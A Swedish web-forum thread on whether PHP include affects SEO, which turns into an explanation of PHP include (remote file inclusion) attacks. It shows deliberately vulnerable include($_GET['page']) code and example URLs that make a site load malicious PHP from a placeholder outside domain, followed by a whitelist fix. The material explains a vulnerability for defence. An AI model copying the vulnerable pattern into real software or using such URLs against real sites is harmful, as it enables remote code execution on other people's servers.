Finns det något negativt med att använda Php include?
Utskriftsvy
Finns det något negativt med att använda Php include?
Nej
Ursäkta om jag hoppar in och lånar tråden lite.
Även om man använder php include på många sidor för att styra olika saker.
Det ses inte negativt?
För php include kan då funka som en bra ersättning för js.
Nackdelen med js är ju att webbläsarna inte kan läsa js filen
men men kan dom det med php include?
Varför skulle det ses som negativt att köra med include?
Är osäker därav jag frågar.Citat:
Ursprungligen postat av webguide
För det ju smidigt om sökmotorerna kan följa det som vanlig html länk.
Men det är frågan. Idag kör jag js filer på dom uppgifter uppdatera ofta på en en vanlig html sida men funkar php include bättre är det smartare.
Google kan ju för det första inte se att man gör en include.
Och även om Google skulle kunna se det så spelar det ingen roll, det är inget som de skulle ha några åsikter om.
Citat:
Ursprungligen postat av webguide
Aah vad bra.
Det underlättar mitt arbete väldigt mycket.
För att ha php include visst måste den filen där php include finns på också heta .php på slutet?
Det enkla svaret är ja, det lite svårare svaret är att det beror på hur webservern är inställt kan man säga.Citat:
Ursprungligen postat av Obbe
DÄremot spelar det ingen roll vad includefilen heter.
Filen som utför include kommandot måste naturligtvis vara en fil som preprocessas av servern (.php oftast men det beror på konfigurering). Den fil som inkluderas kan dock ha vilken extension som helst.
Allt som sker på serversidan (via asp eller php) och som händer innan webbservern skickar tillbaka ett svar till klienten (browsern eller sökmotorn eller nåt annat), kommer google inte att kunna se. Sökroboten ser helt enkelt precis samma sak som en annan klient. Förutsatt att man inte kör någon bot detect på server sidan för att ge olika klienter olika innehåll.
Därför är ju alla typer av server side include väldigt användbara för att inkludera kod som är gemensam för alla sidor. På så sätt blir allt mycket enklare att underhålla.
Citat:
Ursprungligen postat av Obbe
Det enda jag kan tänka mig med include, är utväxlingen det kan ha om man begrundar den här diskussionen om internlänkning.
Tänker då på inkludering av menyer.
Hmm hänger inte med riktigt på vad du menar. Include används ju till allt möjligt, från att klistra in länkar till att inkluddera inloggningsuppgifter till databaser etc.Citat:
Ursprungligen postat av Jan Sandahl
ja, det gör det alldeles säkert, och du kan det säkert bättre än jag.
Men att inkludera en meny det är det enda jag personligen använt det till, och använder man include till menyer så finns en bäring på den tråden.
Citat:
Ursprungligen postat av Jan Sandahl
Det jag ser som en fördel är i vårt fall. Vi har tema bilder. Uppdatera varje på 400 sidor. Det känns lite jobbigt. Kan man du göra det med en uppladning av php include sparar man mycket tid och arbete.
Här är det programmering på hög nivå hör jag :P
Om jag förstår er korrekt så talas det i tråden om phps funktion include() ( som är nästan funktionellt identisk med require() för övrigt). Det man gör när man anropar den funktionen tex på en fil i stil med detta include('minavariabler.php') är att man säger åt php att tolka den informationen i filen på precis samma vis som om den stått i dokumentet där den inkluderas. Det är med andra ord enbart en förenklande funktion för att kunna lyfta bort kod osv.
Ur seo syfte så är det helt irrelevant iom att det precis som sagts tidigare i tråden, tolkas på serversidan och det är först resultatet av tolkningen som klienten som läser sidan får se. Om man sen har 100 includes eller inga includes spelar enbart roll på hastigheten det tar för webservern att leverera detta till läsaren.
Man kan även använda funktioner för att få samma resultat. Inkludera en fil i början av sidan med alla funktioner i. Sen anropa meny() funktionen, sido() funktionen osv.. Eller så kan man göra templates där man går in och byter ut valda delar osv.. oavsett vilket så har det inget med seo att göra.
Skönt att höra Björn.
Jag har för mig jag läst nån stans nämligen ur seo punkt är det inte bra med php include. Att det blir negetivt att göra det.
Kommer inte ihåg varför det blir negativt. Dock var det nåt som gjorde att jag valde js fil istället.
Tar man tex js är det ju bra att lägga js i script som hämtas sidan laddas snabbare.
Helt rätt Björn. Det Jan är inne på beror inte direkt på php include, uan snarare på vad det är man inkluderar :)
När vi nu ändå är inne på olika kommandon för include() så finns även require_once() som endast inkluderar filen om den inte redan blivit inkluderad. Kan vara bra ibland.
Att använda js och script gör förvisso att svaret från webbservern skickas tillbaka till klienten snabbare, men det finns ingen garanti för att sidan renderas snabbare. Dessutom finns det en risk att sidan först renderas utan det som inkluderas mha js och sedan "blippar" till när javascriptet laddar in filen.
Men det kan vara en bra teknik om man vill inkludera något som man inte vill att sökmotorerna ska ta med. Dock får man passa sig så man inte börjar använda det för cloaking.
Jag skulle tro att det kommer från SEO-myten att Google skulle ogilla databasgenererat innehåll.Citat:
Ursprungligen postat av Obbe
Enda nackdelen med php-include är om man öppnar upp för en php-include attack och då får sin sida hackad, vilket är dåligt ur alla vinklar och då även SEO.
För de som inte vet vad en php-include attack är så läs på om det innan ni använder php-include ;). Har sett rysliga exempel där man bara plockar GET/POST variabler som innehåller filnamn och inkluderar dessa.
Men som Björn och övriga programmeringskunniga sagt så bryr sig inte Google eller andra sökmotor om inkluderingen. Vad man bör tänka på är att inte inkludera för mycket skräp som skapar massa duplicate content på sidorna dock, men det är ju självklarheter.
Går det inte skydda sig mot "php-include attack"? Hittade inte så mycket om det när jag sökte för övrigt.Citat:
Ursprungligen postat av Feldon
Blir lite smidiagare att använda php include för menyn så man slipper sitta och ändra 15 sidor bara för att man lagt till en sida. :)
Tack för alla svar. :)
Ok jag tar väl hur hela attacken går till då :)Citat:
Ursprungligen postat av goo
PHP-include är något som väldigt många gör fel på. Kommer inte ihåg vart man hittar siffror på hur många säkerhetshål som hittats på nätet och där ligger då PHP-include i täten. Tillsammans med SQL-injections och liknande.
PHP-include attackerna går till så att man hittar en sida som tar en variabel från POST eller GET och använder den data direkt för inkluderingen.
Ex1:
www.mindomain.se/index.php?page=sida2
<?php
include($_GET['page']."html");
?>
Ex2:
www.mindomain.se/index.php?page=sida2.html
<?php
include($_GET['page']);
?>
I Ex1 så kan man alltså lägga upp en skräpsida på någon ond-domän och döpa till bajs.html (ursäkta mina barnsliga namn på filer och variabler) så den ligger på http://www.dumdomain.se/bajs.html
Och sedan lägger vi en länk till:
http://www.mindomain.se/index.php?pa...domain.se/bajs
Då kommer mindomain nu att ha en sida bajs.html indexerad på sig och man har lyckats med lite pajkastning. Man kan också bara göra http://www.mindomain.se/index.php?pa....porr.se/index etc...
I Ex2 så har vi större problem här kan vi göra en elak php-kod säg elakphpkod.php som till exempel försöker DOS:a en annan dator och sedan anropar vi www.mindomain.se/index.php?page="http://www.dumdomain.se/elakphpkod.php
och får mindomain's server att t.ex. DOS:a någon annans sida.
Sådana här attacker är också väldigt lätta att blockera. Använd inte PHP-include med data ni hämtat från POST eller GET variabler. Switcha/if:a värdet och använda statiska inkludering. :)
Kan du förklara hur man blockerar det för en vanlig dödlig? :) Eller om det finns någon bra sida som går igenom det.Citat:
Ursprungligen postat av Feldon
alltså... lita aldrig på data ... its that simple. Man ska alltid kolla allt som kommer utifrån innan man gör någon form av logik på det. Oavsett om det är post eller get data.Citat:
Ursprungligen postat av goo
Alltså data du får utifrån måste kontrolleras.Citat:
Ursprungligen postat av goo
om vi tar Ex2 som exempel:
Då bör man i php-koden göra
switch($_GET['page'])
{
case "kategori.php" : include('kategori.php'); break;
case "produkt.php" : include('product.php'); break;
default : include('startsidan.php'); break;
}
så länga man aldrig använder include med något direkt hämtat från omvärlden så är man skyddad. Men många missar att man måste verifiera att datat man får är korrekt och det man förväntar sig. Man förväntar sig inte att någon ska slänga in data i POST och GET för att man själv aldrig gör det.
I wikipedia så benämner man alla dessa typer av attacker som Remote File Inclusion.
Enda sättet som php include blir farligt att använda är väl om man använder get eller post data för att avgöra vad som ska inkluderas. Vilket känns helt och hållet galet till att börja med. Men visst. Vet man inte bättre så får man nog skylla sig själv.
Så det är inte php include i sig som är boven, utan hanteringen av POST och GET data.
Men så länge som man inte använder querystrings (get data) eller post data via forms för att styra vilken fil som ska inkluderas är man safe.
Att endast inkludera en menu.php på alla sidor (oavsett vad som kommer i POST eller GET) är alltså ofarligt ur denna synvinkel.
Bernt, förstår inte riktigt varför det skulle vara uppåt väggarna att använda GET/POST för att avgöra vad som ska inkluderas. Jag använder ofta en php-ram som inkluderar olika html-formaterade texter som content beroende på vilka GET-variabler jag får.
Blir enkelt och lätt att underhålla, if you ask me ;)
Okej, okej. Kanske inte så helt uppåt väggarna..
Men vore det inte enklare att låta php include inkludera de delar av sidan som är lika för alla sidor istället för att inkludera de delar som är olika?
Vet inte om jag fårstår dig rätt. Men i min värld käns det främmande att styra vad som ska inkluderas baserat på en querystring eller POST data.
Men du kanske har kommit på ett sätt att använda php include som är smartare.
Om jag bygger en statisk site (alltså utan db och content management) bygger jag allt som oftast upp en mallstruktur som jag sedan återanvänder i alla dokument. Denna mallstruktur använder php require() eller include() för att inkludera de delar av sidorna som har samma innehåll överallt. Till exempel menyer, footer, header och annat.
På så sätt skapar jag förvisso ett dokument för varje sida, men att ändra i gemensamt innehåll blir väldigt enkelt. Då kan jag även styra väldigt hårt ur SEO synpunkt vad gäller meta data, title, url osv. Dessutom använder jag alltid css design och styr allt utseende via en extern css.
Som jag förstår din "ramlösning" via php include så får du i alla fall ett dokument för varje unikt innehåll (det som inkluderas). Så ur underhållssynpunkt blir det ingen skillnad, eller?
Bernt jag bygger när jag bygger sidor som så att jag delar upp den i delar där huvuddelen är min index.php.
I den så inkluderar jag ofta ett head.php som innehåller alla titles och descriptions. Som då beroende på vilken GET-variabel som är satt spottar ur sig rätt titles och descriptions. Det gör att denna fil är en enda lång switch-sats på min page-variabel.
Jag inkluderar också en content-handler som är samma switch-sats som head fast jag istället för att sätta titles och descriptions inkluderar rätt html-text. Det gör att jag kan editera varje enskild text för sig i ett vanligt textdokument utan att behöva se någon annan typ av kod alls. Gör det också väldigt lätt för kunden att ladda hem filen och skriva om texten, när man väl förklarat att design och utseende ser de inte förrän de tankat upp filen igen.
Sedan så inkluderar jag menyn.
Alla dessa delar är delar som jag tycker det är skönt att arbeta med var och en för sig. Och att sedan göra design-förändringar blir väldigt enkelt via CSS.
Men jag förstår den andra skolan också att man skapar varje dokument för sig men ofta så tycker jag att det är för mycket design saker som ligger i varje enskilt dokument för att jag ska vara helt tillfreds med situationen och att det är för lätt att det blir en sida som inte blir lika som den andra för att man missat någon designbugg.
Det här är rätt om jag bara ska använda include in menyn?
switch($_GET['page'])
{
case "meny.php" : include('meny.php'); break;
default : include('meny.php'); break;
}
tänkte mest på den här raden:
default : include('meny.php'); break
Du kan alltid inkludera statiska sidor med namnet.
Det är just att du skriver ut meny.php i inkluden som gör den safe. Sen behöver du ingen switch-sats på variabeln page om inte page bestämmer vilken meny som ska inkluderas.
Förstår inte riktigt hur jag ska skriva då. Kan du inte skriva ut hur det blir i mitt fall när det bara är menyn som ska med.Citat:
Ursprungligen postat av Feldon
Har förövrigt sökt ännu mer men inte fasiken har jag kunnat hitta något...
<?phpCitat:
Ursprungligen postat av goo
include 'meny.php';
?>
I ditt fall behöver du inte oroa dig för en php-include attack. Dessa attacker inträffar bara om du hämtar indata från POST/GET strängar. Att bara inkludera statiska dokument du skrivit själv är aldrig någon risk.Citat:
Ursprungligen postat av goo
Att köra:
include ('meny.php'); funkar jättebra.
Medan det är just när man använder variabler som i includen som det kan gå fel. T.ex:
include ($page); <- Om man inte vet med 100% säkerhet vad som finns i $page så har du ett php-include hål. Gav tidigare länkar till wikipedia som har 2 artiklar inom området som både är väldigt bra, dock endast på engelska (kan finnas på svenska men jag tvivlar på att de håller samma kvalité).
Okej då är jag med. Får tacka så mycket för all hjälp. :)